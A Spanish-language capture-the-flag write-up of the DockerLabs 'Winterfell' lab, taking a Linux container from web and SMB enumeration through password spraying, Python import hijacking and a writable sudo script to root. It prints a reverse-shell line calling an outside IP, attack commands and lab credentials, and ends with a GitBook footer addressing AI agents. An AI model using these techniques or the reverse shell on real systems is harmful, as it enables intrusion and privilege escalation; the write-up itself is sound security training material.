> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/winterfell.md).

# Winterfell

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux mediante enumeracion web, obtencion de credenciales en SMB y abuso de una mala configuracion de `sudo`.

El objetivo es seguir la cadena de usuarios `jon`, `aria` y `daenerys` hasta conseguir una shell como `root`.

***

## Escaneo y enumeracion

Se comienza realizando un escaneo de versiones con Nmap sobre la maquina objetivo:

```bash
nmap -sV -sC -p- -T4 172.17.0.2
```

![Nmap](/files/X9vrWIhPd95bFDSIO2Re)

El escaneo muestra varios puertos abiertos:

| Puerto  | Servicio    | Version              |
| ------- | ----------- | -------------------- |
| 22/tcp  | SSH         | OpenSSH 9.2p1 Debian |
| 80/tcp  | HTTP        | Apache httpd 2.4.61  |
| 139/tcp | NetBIOS-SSN | Samba smbd 4         |
| 445/tcp | SMB         | Samba smbd 4         |

Al acceder al servicio HTTP aparece una pagina tematica de Juego de Tronos con el diario de Jon.

![Web principal](/files/Dfc0i1zduIgsUmeg3a6p)

En el texto se indica que Jon necesita que Arya lleve un mensaje a Daenerys, por lo que `jon`, `aria` y `daenerys` pasan a ser usuarios candidatos.

***

## Enumeracion web

Se realiza fuerza bruta de directorios y archivos con Gobuster:

```bash
gobuster dir -u http://172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster](/files/h9rJ73zXq2Hk1c7hkM2y)

Recursos interesantes encontrados:

| Recurso          | Codigo | Comentario          |
| ---------------- | ------ | ------------------- |
| `/index.html`    | 200    | Pagina principal    |
| `/dragon/`       | 301    | Directorio expuesto |
| `/server-status` | 403    | Acceso prohibido    |

Al acceder a `/dragon/` se observa un directory listing.

![Directorio dragon](/files/WjMaSfNFO3cZLfxSFzVa)

Dentro aparece el archivo `EpisodiosT1`.

![EpisodiosT1](/files/cCWtmOnNqxBnCEpAejmr)

El archivo contiene una lista de episodios de la primera temporada sin espacios:

```
seacercaelinvierno
elcaminoreal
lordnieve
tullidosbastardosycosasrotas
elloboyelleon
unacoronadeoro
ganasomueres
porelladodelapunta
baelor
fuegoyhielo
```

Se guarda esta lista como diccionario para probar credenciales.

***

## Enumeracion SMB

Se enumeran usuarios del servicio SMB con CrackMapExec:

```bash
crackmapexec smb 172.17.0.2 --users
```

![Usuarios SMB](/files/MqD7ke5Ek6pAaqdqPujc)

El usuario encontrado es:

```
jon
```

Usando la lista de episodios como diccionario se prueba autenticacion contra SMB:

```bash
crackmapexec smb 172.17.0.2 -u jon -p passwords.txt
```

![Password SMB](/files/g4jkm9wgObPZcIj7LqEC)

Credenciales validas:

```
Usuario: jon
Password: seacercaelinvierno
```

***

## Acceso a recursos compartidos

Se listan los recursos SMB disponibles sin autenticacion:

```bash
smbclient -L //172.17.0.2 -N
```

![Shares SMB](/files/6lSsz4TljiObWrppjvpA)

Aparece el recurso compartido `shared`. Se accede con el usuario `jon`:

```bash
smbclient //172.17.0.2/shared -U jon
```

![Share shared](/files/ZJIQNpV8VV5Hb4MxMsnf)

Dentro se encuentra el archivo `proteccion_del_reino`. Al leerlo se obtiene un mensaje cifrado:

![Proteccion del reino](/files/Epy49AwEnHRF7esZyErp)

El contenido incluye la cadena:

```
aGlqb2RlbGFuaXN0ZXI=
```

Se decodifica en Base64:

```bash
echo "aGlqb2RlbGFuaXN0ZXI=" | base64 -d
```

![Base64](/files/3dtLQ2f6E5NVreZZlg4n)

El resultado es:

```
hijodelanister
```

***

## Acceso inicial por SSH

Con las credenciales obtenidas se accede por SSH como `jon`:

```bash
ssh jon@172.17.0.2
```

![SSH jon](/files/5lWrFAINTNT9p5aQYxEJ)

***

## Movimiento lateral a aria

Se revisan los permisos sudo del usuario `jon`:

```bash
sudo -l
```

![sudo jon](/files/qRtBOl7cBZ8ZnF76BjNv)

El usuario `jon` puede ejecutar el script `/home/jon/.mensaje.py` como `aria` sin password:

```
(aria) NOPASSWD: /usr/bin/python3 /home/jon/.mensaje.py
```

Al revisar el directorio personal de `jon`, aparece una nota llamada `paraJon`.

![Mensaje para Jon](/files/PSfifodcVyRW2xrFwzzp)

El script `.mensaje.py` importa `hashlib`:

```python
import hashlib
import getpass
```

Como el script se ejecuta con Python desde el directorio controlado por `jon`, se puede secuestrar la importacion creando un archivo `hashlib.py` malicioso:

```python
import os
os.system("/bin/bash")
```

![hashlib malicioso](/files/qgfCGRCTvgGVRwWTe72n)

![Archivo hashlib.py](/files/wYGlcUelUMtuDHuyUcXs)

Se ejecuta el script mediante sudo:

```bash
sudo -u aria /usr/bin/python3 /home/jon/.mensaje.py
```

![Shell aria](/files/QtO3GQ36wb8AGRgzR3XG)

Con esto se obtiene una shell como el usuario `aria`.

***

## Movimiento lateral a daenerys

Desde `aria` se comprueba el contenido accesible en `/home/daenerys`:

```bash
sudo -u daenerys ls /home/daenerys/
```

![Home daenerys](/files/m6vTrFjSuSJAf8Pqi5Oz)

Se lee el archivo `mensajeParaJon` como `daenerys`:

```bash
sudo -u daenerys cat /home/daenerys/mensajeParaJon
```

![Mensaje daenerys](/files/40TQYsLh8Zz34DxTUJUF)

El mensaje contiene la password de `daenerys`:

```
!drakarris!
```

Se cambia al usuario `daenerys`:

```bash
su daenerys
```

![su daenerys](/files/qDN4WULvhNHCAr5tNLuQ)

***

## Escalada de privilegios

En el directorio personal de `daenerys` se encuentra una carpeta oculta `.secret` con el script `.shell.sh`.

![Secret daenerys](/files/EtFA1LQJQaq58bBo0E1i)

El script contiene inicialmente una reverse shell:

```bash
#!/bin/bash

bash -i >& /dev/tcp/192.168.234.42/443 0>&1
```

Al revisar los permisos sudo de `daenerys`, se observa que puede ejecutar ese script como cualquier usuario sin password:

```
(ALL) NOPASSWD: /usr/bin/bash /home/daenerys/.secret/.shell.sh
```

Como el archivo pertenece a `daenerys`, se puede modificar. Se cambia el contenido para que invoque una shell local:

```bash
#!/bin/bash

/bin/bash
```

![Modificar shell](/files/k8t3a6afNCOiyKKag3Yc)

Despues se ejecuta con sudo:

```bash
sudo /usr/bin/bash /home/daenerys/.secret/.shell.sh
```

![Root](/files/bEMYxZjCW5tIRYR1eaFM)

Se confirma el acceso como `root`:

```bash
id
```

Resultado:

```
uid=0(root) gid=0(root) groups=0(root)
```

***

## Conclusion

El compromiso de la maquina ha sido posible por la combinacion de varios fallos:

* Directorio web expuesto con informacion util para crear un diccionario
* Usuario SMB enumerable
* Password debil basada en informacion de la propia web
* Recurso SMB con informacion sensible
* Script Python ejecutable por sudo vulnerable a secuestro de importaciones
* Script ejecutable por sudo como `root` y modificable por el propio usuario

### Puntos clave

| Fase               | Tecnica                           | Resultado                     |
| ------------------ | --------------------------------- | ----------------------------- |
| Reconocimiento     | Nmap                              | HTTP, SSH y SMB expuestos     |
| Enumeracion web    | Gobuster                          | Descubrimiento de `/dragon/`  |
| Credenciales       | Diccionario web contra SMB        | Usuario `jon`                 |
| SMB                | Lectura de `proteccion_del_reino` | Password codificada en Base64 |
| Acceso inicial     | SSH                               | Shell como `jon`              |
| Movimiento lateral | Python import hijacking           | Shell como `aria`             |
| Movimiento lateral | Lectura con sudo como `daenerys`  | Password de `daenerys`        |
| Escalada           | Script sudo modificable           | Shell como `root`             |

### Recomendaciones

* Evitar directory listing en rutas web
* No reutilizar informacion publica como base para passwords
* Restringir la enumeracion de usuarios y shares en SMB
* No almacenar credenciales en archivos accesibles por otros usuarios
* Ejecutar scripts Python con rutas controladas y evitar directorios escribibles en el contexto de importacion
* No permitir en `sudoers` scripts modificables por usuarios no privilegiados


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/winterfell.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
